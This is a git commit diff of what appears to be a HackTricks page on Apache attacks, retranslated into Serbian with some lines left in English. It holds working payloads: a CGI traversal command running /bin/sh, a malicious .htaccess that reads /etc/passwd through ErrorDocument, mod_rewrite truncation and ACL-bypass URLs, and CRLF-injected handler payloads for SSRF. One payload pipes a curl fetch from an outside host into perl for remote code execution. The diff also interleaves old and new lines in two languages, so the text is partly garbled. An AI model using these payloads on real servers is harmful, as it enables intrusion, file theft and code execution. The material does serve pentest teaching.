Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

This commit is contained in:
Translator 2025-08-28 18:55:40 +00:00
parent 68a8025ac1
commit 7520e669ce
2 changed files with 424 additions and 389 deletions

File diff suppressed because it is too large Load Diff

View File

@ -4,11 +4,11 @@
## Izvršne PHP ekstenzije
Proverite koje ekstenzije izvršava Apache server. Da biste ih pretražili, možete izvršiti:
Proverite koje ekstenzije izvršava Apache server. Da biste ih pronašli, možete izvršiti:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Takođe, neka mesta gde možete pronaći ovu konfiguraciju su:
Takođe, neka mesta na kojima možete pronaći ovu konfiguraciju su:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## LFI putem .htaccess ErrorDocument file provider (ap_expr)
Ako možete kontrolisati .htaccess direktorijuma i AllowOverride uključuje FileInfo za taj put, možete pretvoriti 404 odgovore u proizvoljna čitanja lokalnih fajlova koristeći ap_expr file() funkciju unutar ErrorDocument.
- Zahtevi:
- Apache 2.4 sa omogućеним expression parserom (ap_expr) (podrazumevano u 2.4).
- vhost/dir mora dozvoliti .htaccess da postavi ErrorDocument (AllowOverride FileInfo).
- Korisnik koji pokreće Apache mora imati prava čitanja na ciljani fajl.
.htaccess payload:
```apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
Aktivirajte to tako što ćete zatražiti bilo koju nepostojeću putanju ispod tog direktorijuma, na primer kada zloupotrebljavate userdir-style hosting:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
Napomene i saveti:
- Only absolute paths work. The content is returned as the response body for the 404 handler.
- Efektivna prava za čitanje su prava Apache user-a (tipično www-data/apache). Nećete moći da pročitate /root/* ili /etc/shadow u podrazumevanim podešavanjima.
- Čak i ako je .htaccess u vlasništvu root-a, ako je roditeljski direktorijum u vlasništvu tenant-a i dozvoljava rename, možda ćete moći da preimenujete originalni .htaccess i otpremite sopstvenu zamenu putem SFTP/FTP:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Iskoristite ovo da pročitate izvor aplikacije ispod DocumentRoot ili vhost config putanja kako biste prikupili tajne (DB creds, API keys, itd.).
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
Ove vrste napada su predstavljene i dokumentovane [**od strane Orange u ovom blog postu**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) i sledeći je sažetak. Napad "confusion" u suštini zloupotrebljava način na koji desetine modula koji rade zajedno u Apache-u ne funkcionišu savršeno sinkronizovano, a modifikacija nekih neočekivanih podataka može izazvati ranjivost u kasnijem modulu.
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
### Filename Confusion
#### Truncation
**`mod_rewrite`** će skratiti sadržaj `r->filename` nakon karaktera `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Ovo nije potpuno pogrešno jer će većina modula tretirati `r->filename` kao URL. Međutim, u drugim prilikama, ovo će biti tretirano kao putanja do fajla, što može izazvati problem.
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
- **Path Truncation**
### Path Truncation
Moguće je zloupotrebiti `mod_rewrite` kao u sledećem primeru pravila da bi se pristupilo drugim fajlovima unutar fajl sistema, uklanjajući poslednji deo očekivane putanje jednostavno dodajući `?`:
It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -46,9 +74,9 @@ curl http://server/user/orange
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **Zavaravajuća dodela RewriteFlag**
- **Mislead RewriteFlag Assignment**
U sledećem pravilu za prepisivanje, sve dok URL završava sa .php, biće tretiran i izvršen kao php. Stoga, moguće je poslati URL koji se završava sa .php nakon `?` karaktera dok se u putanji učitava drugačija vrsta datoteke (poput slike) sa malicioznim php kodom unutar nje:
U sledećem rewrite pravilu, sve dok URL završava sa .php biće tretiran i izvršen kao php. Stoga je moguće poslati URL koji se završava sa .php nakon znaka `?` dok u putanju učitavate drugačiji tip fajla (like an image) sa zlonamernim php kodom unutra:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
```
#### **ACL Bypass**
Moguće je pristupiti datotekama kojima korisnik ne bi trebao imati pristup, čak i ako bi pristup trebao biti odbijen sa konfiguracijama kao što su:
Moguće je pristupiti fajlovima kojima korisnik ne bi trebalo da može pristupiti, čak i kada pristup treba biti onemogućen konfiguracijama poput:
```xml
<Files "admin.php">
AuthType Basic
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
To je zato što će PHP-FPM po defaultu primati URL-ove koji se završavaju sa `.php`, kao što je `http://server/admin.php%3Fooo.php`, i zato što će PHP-FPM ukloniti sve nakon karaktera `?`, prethodni URL će omogućiti učitavanje `/admin.php` čak i ako je prethodno pravilo to zabranilo.
Ovo je zato što PHP-FPM po podrazumevanju prima URL-ove koji se završavaju na `.php`, kao `http://server/admin.php%3Fooo.php`, i zato što PHP-FPM uklanja sve što dolazi posle karaktera `?`, pomenuti URL će omogućiti učitavanje `/admin.php` čak i ako je prethodno pravilo to zabranilo.
### DocumentRoot Confusion
### Zbunjenost oko DocumentRoot
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Zanimljiva činjenica o Apache-u je da će prethodni prepravak pokušati da pristupi datoteci i iz documentRoot-a i iz root-a. Dakle, zahtev za `https://server/abouth.html` će proveriti datoteku u `/var/www/html/about.html` i `/about.html` u datotečnom sistemu. Što se u suštini može zloupotrebiti za pristup datotekama u datotečnom sistemu.
Zanimljivost vezana za Apache je da prethodni rewrite pokušava da pristupi fajlu i iz documentRoot i iz root. Dakle, zahtev za `https://server/abouth.html` će proveriti fajl u `/var/www/html/about.html` i `/about.html` u file system-u. Što u suštini može da se zloupotrebi za pristup fajlovima u file system-u.
#### **Otkrivanje Izvora Koda na Serveru**
#### **Otkrivanje izvornog koda na serverskoj strani**
- **Otkrivanje CGI Izvora Koda**
- **Otkrivanje izvornog koda CGI**
Samo dodavanje %3F na kraju je dovoljno da se otkrije izvorni kod cgi modula:
Dovoljno je dodati %3F na kraj da bi se desio leak izvornog koda cgi modula:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# ...
# # the source code of download.cgi
```
- **Otkrivanje PHP Izvornog Koda**
- **Otkrivanje PHP Source Code**
Ako server ima različite domene, a jedna od njih je statična domena, to se može iskoristiti za pretraživanje datotečnog sistema i otkrivanje php koda:
Ako server ima više domena, pri čemu je jedan od njih statički domen, to se može zloupotrebiti da se pretraži fajl sistem i leak php code:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Manipulacija lokalnim uređajima**
#### **Local Gadgets Manipulation**
Glavni problem sa prethodnim napadom je to što će po defaultu većina pristupa preko datotečnog sistema biti odbijena kao u [konfiguracionom šablonu](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) Apache HTTP Server-a:
Glavni problem prethodnog napada je što će, po podrazumevanoj konfiguraciji, većina pristupa fajl sistemu biti odbijena, kao u Apache HTTP Servers [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
Međutim, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) operativni sistemi po defaultu dozvoljavaju `/usr/share`:
Međutim, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) operativni sistemi podrazumevano dozvoljavaju `/usr/share`:
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
Zato bi bilo moguće **zloupotrebiti datoteke smeštene unutar `/usr/share` u ovim distribucijama.**
Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.**
**Lokalni Gadget za Otkrivanje Informacija**
**Lokalni gadget za Information Disclosure**
- **Apache HTTP Server** sa **websocketd** može izložiti **dump-env.php** skriptu na **/usr/share/doc/websocketd/examples/php/**, koja može otkriti osetljive promenljive okruženja.
- Serveri sa **Nginx** ili **Jetty** mogu izložiti osetljive informacije o web aplikacijama (npr., **web.xml**) kroz svoje podrazumevane web korene smeštene pod **/usr/share**:
- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Lokalni Gadget za XSS**
**Lokalni gadget za XSS**
- Na Ubuntu Desktop-u sa **LibreOffice instaliranim**, iskorišćavanje funkcije promene jezika u pomoćnim datotekama može dovesti do **Cross-Site Scripting (XSS)**. Manipulacija URL-om na **/usr/share/libreoffice/help/help.html** može preusmeriti na zlonamerne stranice ili starije verzije putem **unsafe RewriteRule**.
- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**.
**Lokalni Gadget za LFI**
**Lokalni gadget za LFI**
- Ako su PHP ili određeni front-end paketi poput **JpGraph** ili **jQuery-jFeed** instalirani, njihove datoteke mogu biti iskorišćene za čitanje osetljivih datoteka kao što je **/etc/passwd**:
- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Lokalni Gadget za SSRF**
**Lokalni gadget za SSRF**
- Korišćenjem **MagpieRSS's magpie_debug.php** na **/usr/share/php/magpierss/scripts/magpie_debug.php**, SSRF ranjivost može biti lako stvorena, pružajući prolaz za dalja iskorišćavanja.
- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
**Lokalni Gadget za RCE**
**Lokalni gadget za RCE**
- Mogućnosti za **Remote Code Execution (RCE)** su velike, sa ranjivim instalacijama poput zastare **PHPUnit** ili **phpLiteAdmin**. Ove se mogu iskoristiti za izvršavanje proizvoljnog koda, pokazujući opsežan potencijal manipulacije lokalnim gadgetima.
- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
#### **Jailbreak iz Lokalnih Gadgeta**
#### **Jailbreak iz lokalnih gadgeta**
Takođe je moguće jailbreak-ovati iz dozvoljenih foldera prateći symlinkove generisane instaliranim softverom u tim folderima, kao što su:
It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -158,55 +186,55 @@ Takođe je moguće jailbreak-ovati iz dozvoljenih foldera prateći symlinkove ge
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Pored toga, zloupotrebom symlinkova bilo je moguće dobiti **RCE u Redmine-u.**
Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.**
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
Ovaj napad koristi preklapanje funkcionalnosti između `AddHandler` i `AddType` direktiva, koje se obe mogu koristiti za **omogućavanje PHP obrade**. Prvobitno, ove direktive su uticale na različita polja (`r->handler` i `r->content_type` respektivno) u unutrašnjoj strukturi servera. Međutim, zbog nasleđenog koda, Apache obrađuje ove direktive naizmenično pod određenim uslovima, pretvarajući `r->content_type` u `r->handler` ako je prvo postavljeno, a drugo nije.
This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.
Pored toga, u Apache HTTP Server-u (`server/config.c#L420`), ako je `r->handler` prazan pre izvršavanja `ap_run_handler()`, server **koristi `r->content_type` kao handler**, efektivno čineći `AddType` i `AddHandler` identičnim u efektu.
Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.
#### **Prepisivanje Handler-a za Otkrivanje PHP Izvornog Koda**
#### **Prepisivanje handler-a radi otkrivanja PHP izvornog koda**
U [**ovoj prezentaciji**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), predstavljena je ranjivost gde netačan `Content-Length` poslat od strane klijenta može uzrokovati da Apache greškom **vrati PHP izvorni kod**. To je bilo zbog problema sa obradom grešaka sa ModSecurity i Apache Portable Runtime (APR), gde dvostruki odgovor dovodi do prepisivanja `r->content_type` na `text/html`.\
Zato što ModSecurity ne obrađuje pravilno povratne vrednosti, vraća PHP kod i ne interpretira ga.
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
#### **Prepisivanje Handler-a za XXXX**
#### **Overwrite Handler to XXXX**
TODO: Orange još nije otkrio ovu ranjivost
TODO: Orange hasn't disclose this vulnerability yet
### **Pozivanje Proizvoljnih Handler-a**
### **Pozivanje proizvoljnih handler-a**
Ako napadač može da kontroliše **`Content-Type`** zaglavlje u odgovoru servera, moći će da **pozove proizvoljne module handler-a**. Međutim, u trenutku kada napadač kontroliše ovo, većina procesa zahteva će biti završena. Ipak, moguće je **ponovo pokrenuti proces zahteva zloupotrebom `Location` zaglavlja** jer ako je **r**eturned `Status` 200 i `Location` zaglavlje počinje sa `/`, odgovor se tretira kao Server-Side Redirection i treba ga obraditi.
If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed
Prema [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specifikacija o CGI) u [Sekciji 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definiše se ponašanje lokalnog preusmeravanja odgovora:
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
> CGI skripta može vratiti URI putanju i upitni niz (local-pathquery) za lokalni resurs u zaglavlju Location. Ovo ukazuje serveru da treba ponovo obraditi zahtev koristeći putanju koja je navedena.
> The CGI script can return a URI path and query-string (local-pathquery) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Zato, da bi se izveo ovaj napad potrebna je jedna od sledećih ranjivosti:
Therefore, to perform this attack is needed one of the following vulns:
- CRLF Injection u CGI odgovorima
- SSRF sa potpunom kontrolom nad odgovorima
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
#### **Proizvoljni Handler za Otkrivanje Informacija**
#### **Proizvoljni handler za Information Disclosure**
Na primer, `/server-status` bi trebao biti dostupan samo lokalno:
For example `/server-status` should only be accessible locally:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
Moguće je pristupiti tome postavljanjem `Content-Type` na `server-status` i zaglavlja Location koje počinje sa `/`
Moguće je pristupiti tome podešavanjem `Content-Type` na `server-status` i Location header-a koji počinje sa `/`.
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Arbitrarni Handler za Potpunu SSRF**
#### **Arbitrary Handler to Full SSRF**
Preusmeravanje na `mod_proxy` za pristup bilo kojem protokolu na bilo kojoj URL adresi:
Preusmeravanje na `mod_proxy` da bi se pristupilo bilo kom protokolu na bilo kom URL-u:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
@ -215,20 +243,20 @@ http://example.com/%3F
%0d%0a
%0d%0a
```
Međutim, `X-Forwarded-For` zaglavlje se dodaje kako bi se sprečio pristup krajnjim tačkama metapodataka u oblaku.
Međutim, header `X-Forwarded-For` je dodat, što onemogućava pristup krajnjim tačkama metapodataka cloud-a.
#### **Arbitrarni Handler za Pristup Lokalnom Unix Domen Socketu**
#### **Arbitrarni handler za pristup lokalnom Unix Domain Socket-u**
Pristupite lokalnom Unix Domen Socketu PHP-FPM-a da biste izvršili PHP backdoor smešten u `/tmp/`:
Pristupite lokalnom Unix Domain Socket-u PHP-FPM-a da biste izvršili PHP backdoor koji se nalazi u `/tmp/`:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Arbitrarni Handler za RCE**
#### **Arbitrary Handler to RCE**
Zvanična [PHP Docker](https://hub.docker.com/_/php) slika uključuje PEAR (`Pearcmd.php`), alat za upravljanje PHP paketima putem komandne linije, koji se može zloupotrebiti za dobijanje RCE:
Zvanična [PHP Docker](https://hub.docker.com/_/php) slika uključuje PEAR (`Pearcmd.php`), alat za upravljanje PHP paketima iz komandne linije, koji se može zloupotrebiti da bi se dobio RCE:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -237,10 +265,13 @@ orange.tw/x|perl
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Proverite [**Docker PHP LFI Sažetak**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), koji je napisao [Phith0n](https://x.com/phithon_xg) za detalje o ovoj tehnici.
Pogledajte [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), koji je napisao [Phith0n](https://x.com/phithon_xg) za detalje ove tehnike.
## Reference
## Izvori
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
{{#include ../../banners/hacktricks-training.md}}